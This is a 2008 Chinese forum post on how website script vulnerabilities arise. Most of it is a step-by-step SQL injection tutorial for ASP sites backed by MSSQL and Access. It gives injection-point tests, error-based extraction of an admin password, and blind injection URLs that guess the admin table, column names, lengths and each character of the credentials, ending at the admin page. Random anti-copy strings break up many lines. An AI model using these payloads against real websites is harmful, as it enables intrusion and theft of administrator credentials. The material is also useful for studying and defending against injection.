过期域名预定抢注

 找回密碼
 免费注册

網站腳本漏洞形成的原因

[複製鏈接]
發表於 2008-1-15 16:39:02 | 顯示全部樓層 |閱讀模式
隨著網絡經濟的復舒,開始越來越多的網站湧現出來,隨著腳本漏洞的挖掘,黑客也越來越猖狂,並且越來越低齡化和傻瓜化。「你只要會用一個玩具就可以黑站」,這就是腳本漏洞利的特點。這些漏洞的主要成因是編程程序員的素質,往往在編寫asp或php等程序時候對字符的過濾不嚴密,對注入漏洞不瞭解,或者某個參數忘記檢查導致的。
2 O* x4 t* D1 n! u% {: j; Z/ q; V, P. o6 S( V' X+ U
由於編寫網頁程序這個行業的入門門檻不高,程序員的水平及經驗也參差不齊,相當大一部分程序員在編寫代碼的時候,沒有對用戶輸入數據的合法性進行判斷,使應用程序存在安全隱患。用戶可以提交一段數據庫查詢代碼,根據程序返回的結果,獲得某些他想得知的數據,這就是所謂的SQL Injection,即SQL注入。
& G3 \) k; `1 E. P* n  E* f! w. U7 |0 h% a/ x; v4 C
相當大一部分程序員在編寫代碼的時候,沒有對用戶輸入數據的合法性進行判斷,使應用程序存在安全隱患。我們看一個例子:在本機建一個基於iis的asp程序http://localhost/test/show.asp?ID=3,將這個網址提交到服務器後,服務器將進行類似Select * from 表名 where 字段="&ID的查詢(ID即客戶端提交的參數,本例即是3),再將查詢結果返回給客戶端,如果這裡客戶端故意提交這麼一個網址:http://localhost/test/show.asp?ID=3 and user>0,這時,服務器運行Select * from 表名 where 字段=444 and user>0這樣的查詢,當然,這個語句是運行不下去的,肯定出錯,錯誤信息如下:
, v: E) p! T3 e% k
& A. X& {2 n& Y. A: |- V0 ~  ·錯誤類型:
3 F5 s2 T/ q- Q+ P- b& N0 R; }
6 q+ `: J$ U" b7 DMicrosoft OLE DB Provider for ODBC Drivers (0x80040E07)
" J  I% s8 s5 h) s" n[Microsoft][ODBC SQL Server Driver][SQL Server]將 nvarchar 值 』test』 轉換為數據類型為 int 的列時發生語法錯誤。9 ^# e& |6 M3 N( L  A" I( y
/test/show.asp, 第 34 行( P# q& D; Z9 z% x; \8 J5 C

4 R  o2 f, T0 T) P+ [) u# X從這個出錯信息中,我們可以獲得以下信息:該站使用MSSQL數據庫,用ODBC連接,連接帳號名為:test。所謂SQL注入,就是利用程序員對用戶輸入數據的合法性檢測不嚴或不檢測的特點,故意從客戶端提交特殊的代碼,從而收集程序及服務器的信息,從而獲取想得到的資料。通常別有用心者的目標是獲取網站管理員的帳號和密碼。比如當知道網站管理員帳號存在表login中,管理員帳號名為admin 想知道admin的密碼,這裡接著從客戶端提交這樣一個網址:; [1 S+ z2 q4 p7 u1 v
http://localhost/test/show.asp?ID=4 and (Select password fro
% m& c# M; I  G
, R5 a0 ^% Q& qm login where user_name=』admin』)>0,返回的出錯信息如下:
0 n2 {; a. S2 V2 R6 t2 f# B, V5 @% t0 m
  ·錯誤類型:
, o  i+ W7 g* b4 N+ z  q: X# q3 O  Q/ i; U+ v+ F
Microsoft OLE DB Provider for ODBC Drivers (0x80040E07)
3 S$ U" h+ i: v/ f: F3 Z8 k( m[Microsoft][ODBC SQL Server Driver][SQL Server]將 varchar 值 』admin888』 轉換為數據類型為 int 的列時發生語法錯誤。" [9 O& D$ Z& K6 T! @
/test/show.asp, 第 34 行: }/ |: Y1 D* w7 |# `* ^7 V

+ R$ y0 E4 ]2 g2 G4 n現在出來了「admin888」就是管理員的密碼!得到這個密碼,這時您就可以用這個帳號和密碼接管人家的網站了!當然我們並不知道帳號就在表login中,而且也不知道管理員名為admin,但這些不容難辦到,我們可以寫個玩具進行猜解,速度很快就可以找到你想要的東西了。前面是有關mssql數據庫的注入基礎,我們再看一看acce數據庫的注入基礎:首先進行瀏覽器的設置,以保證手工注入時能返回出錯信息。其操作步驟為:右鍵單擊瀏覽器圖標,選擇「屬性」,在彈出來的對話框中選擇「高級」選項卡,接著去掉「顯示友好的HTTP錯誤信息」前面的鉤,最後點擊「應用」按鈕即可。
8 r% i# `$ r& D/ d, s
% }6 K% e  b: m& F2 y對於sql注入得先找到注入點,注入點的判斷方法為:通常打開一個類似http://wwww.xx
2 \8 `  e. A% A! q& j9 N% w' _, m% ^/ L7 l& u
xx.com/xxx.asp?id=xx的url後加個單引號,變成http://ww.xxx.com/xxx.asp?id=xx# {  h! x3 g7 x6 v. G% X8 C
) X7 S5 e8 K6 {3 I' N
如果出現錯誤提示,則說明可能存在注入漏洞,再輸入http://www.xxx.com/xxx.asp?id=xx and 1=1如果存在SQL注入漏洞,就可以查詢數據庫, 1=1是一個恆等式可以忽略,因此會返回一個正常的頁面,此頁面和http://wwww.xxxx.com/xxx.asp?id=xx一樣,這時入侵者便判斷此站有希望被注入。如果返回的是一些錯誤信息,那麼一些初級的入侵者可能就會放棄這個站點。入侵者進一步向瀏覽器提交如下url: http: //www.xxx.com/xxx.asp?id=xx and 1=2,1=2為一個恆不等式,如果該站點支持數據庫查詢,則大概會返回如下所示的信息:
( b! i" y7 v3 @( t& I# j' {7 |1 p6 p# a+ F" P  [
Microsoft vbscript 編譯器錯誤 錯誤碼率
! ]6 U! O* Y$ r  n/ l! H+ {8 Y& h- H
! l* w; V' f8 Q0 u, ]; t1 W『800a03f6』                                                                                                                 - G: t# T/ _9 u2 ]4 B
) Y& w8 w, y; P5 Y1 q6 X8 b5 F
缺少』End』
* k, p6 p* {* ]# T) v2 u3 q# v: v* Z
/iishelp/common/500-100.asp,行2422 H2 b! _( J3 e* J. d

$ V) s) s, {2 }( h/ {- Y3 |. fADODB.Field 錯誤 『800a0bcd』: m6 \: S/ r& F) ?
$ S. Z! S8 V: g9 R
一般出現以上信息就可以確定存在sql注入漏洞了。下面我們來看一下sql注入的過程分析:   
; [. S! D. x% X# H4 s( g/ p& a7 R  @6 C0 k
  如: 打開:http://hostlocal/test2/list.asp?id=17在其後面加′為http://hostlocal/test2/list.asp?id=17′
# u- l* i+ h4 {- U出錯!顯示為:「數據庫出錯」。那麼接下來我們便進行如下操作:4 U; V. t/ {% y1 M1 y
% V6 B% h8 L- E2 A4 M
1 猜管理員帳號表。
" V8 B9 f: x# R2 猜相應表中的用戶的字段名以及密碼的字段名。' A$ p, ?( Q, ^) U2 N7 h2 b
3 猜出用戶名的長度和密碼的長度
5 y! }' w- w2 B0 C% L, G4 猜出用戶和密碼
* b# n3 t1 \0 o; s5 找到管理頁面進入管理; R6 g4 H& Z6 G% i" V9 H2 x

  N$ A$ q- b( y# R猜管理員的表:                            6 ]4 l, F) u0 ^, \

. s" r- J/ u. ?7 x% F# l3 d http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin)′//min(id)返回表中ID最小值
' x, o# z( t5 |" c' L2 a/ k% v+ L返回文章證明,有一個admin的表;如果沒有返回文章,證明出錯不存在admin這個表。6 C2 p1 [  ]" x) S0 k5 ^: M
   
7 }4 \, z6 b" i6 u; j3 W猜用戶的字段名:$ D1 T9 ?. d  y$ Q! Q
http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where user=′aaa′)返回錯誤信息,表示沒有user這個用戶段名; i" p0 U  q3 l
再來!~~~http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where username=′aaa′)
' H; s7 I8 z+ P& A# Q: j2 X" s" y沒有返回錯誤信息,又沒有返回文章,提示找不到文章。證明在admin中存在username個字段,只是用戶名不是aaa1 T! X+ ]7 M" V+ F( ]) T8 l: q4 J

8 q6 v, ?  l2 `3 J! f1 u猜密碼的字段名:. X  S+ ^/ y8 G  h
http://hostlocal/test2/list.asp?id=17 and 1=(select min(i
  H1 `0 B& X. P$ ?/ R! g
6 h# G( G, b( T. w' \# rd) from admin where passwd=′aaa′)返回錯誤信息表示沒有passwd這個密碼字段名。                        
& D8 i/ r) m$ A! }+ d4 ~; d5 e
( E" `1 H% \( ?4 ~: K1 P4 h5 P/ F再來:http://hostlocal/test2/list.asp?id=17 and 1=(select1 O( V+ e6 x6 j& ^8 ^

& i( f0 `9 x" d min(id) from admin where password=aaa′)沒有返回錯誤信息,又沒有返回文章,提示找不到文章。證明在admin中存在password這個字段,只是密碼不是aaa
. Q+ x2 U- y7 Z) f8 r4 v# U! A
- x0 A: O  i: O6 C' D猜用戶字段名長度:                          
! v% p5 I( p# s+ l6 R& C7 ?
1 Y! O8 b# Q2 q3 {6 Nhttp://hostlocal/test2/list.asp?id=17 and 1=(select min(
$ V  W( w# Y$ h
# X" Q8 B0 J! W$ r3 bid) from admin where len(username)
- t' I& w' a1 }2 h# {& i* g: [
8 O/ f- \: t2 J( j$ ~>5)                                                            
+ x7 {* b7 {0 S. D, b( x4 _8 u- |/ L# H  I6 K# h8 O: z. f
正確# r2 }; F  Y0 L& g4 @( F0 t& G
http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where len(username)<10)
8 a! O# Y! g& a7 I) G& r% H正確% Y( d0 ^$ B5 z( z8 t3 H
用戶名長度大於5小於10
0 _; |8 l7 p( L9 b1 zhttp://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where len(username)
1 o; z& ?8 J( ^; s" I
. x9 v1 h% u+ C9 ?=7)                                                              
) r( z/ K  |8 @& @4 @
' U  c, R* _3 G呵``` 用戶名長度為7位5 g1 t- `2 O! k' q
4 _5 h) o6 C! F3 W
猜密碼長度:( S( h8 w' K) T+ Q/ M! I& q
http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where len(password)>5). T' i0 m6 R' b' P- s+ H
正確# j4 n% m( h+ o* A
http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where len(password)<10)5 E, n. Y0 l) z# h6 I( J
正確
+ R- N0 k+ ^7 b9 l3 ?8 h& R密碼長度也是大於5小於10
( W9 e( p% w, w; q- q9 Ghttp://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where len(password)=7)
1 \( x4 A+ X# F呵``` 密碼長度為7位
: u0 ^& o! g( y: J& j1 Y" p
( B* k+ V8 H9 M, X猜用戶名:
. \, I) t. n+ thttp://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where mid(username,1,1)=′a′)# A4 [6 T) v/ w! N" R7 u4 l- s1 n
% `6 P$ W& Y- o
用戶名第一個字母是:a                                                         
6 a0 N# c2 _5 d* e
- ]  O. U7 A) h1 v6 y: v猜用戶名第二位:http://hostlocal/test2/list.asp?id=17 and 1=! P. t2 q4 z( Z1 f( S
* p& O! b6 d8 C1 D
(select min(id) from admin where mid(username,2,1)=′b′)                                             
# Q0 f1 C/ {5 V3 Z9 n( h5 W% P' V9 s0 _2 S; d
以此類推!
. G& C3 ]4 d7 J9 p' o0 d9 U2 i( f5 U7 n! P: L3 m7 Q
猜密碼:                                                                       3 b/ Y& r% x( I5 ^4 a9 D3 J) t' D; X
" A1 G" Z, o" @: s8 V6 t- D
猜密碼跟猜用戶名一樣!
+ q, t8 v* L- Nhttp://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where mid(password,1,1)=′a′)
8 a0 j; i/ ?8 e* w8 W猜完後來到管理頁面:
6 p; i" W3 m. h; P- T$ ?' Thttp://hostlocal/test2/admin.asp6 e: Z& I5 T2 G& d  f4 w& S

8 D" C  t; _% U9 i登錄
您需要登錄後才可以回帖 登錄 | 免费注册

本版積分規則

过期高净值品牌域名预定抢注

點基

GMT+8, 2025-12-11 17:06

By DZ X3.5

小黑屋

快速回復 返回頂部 返回列表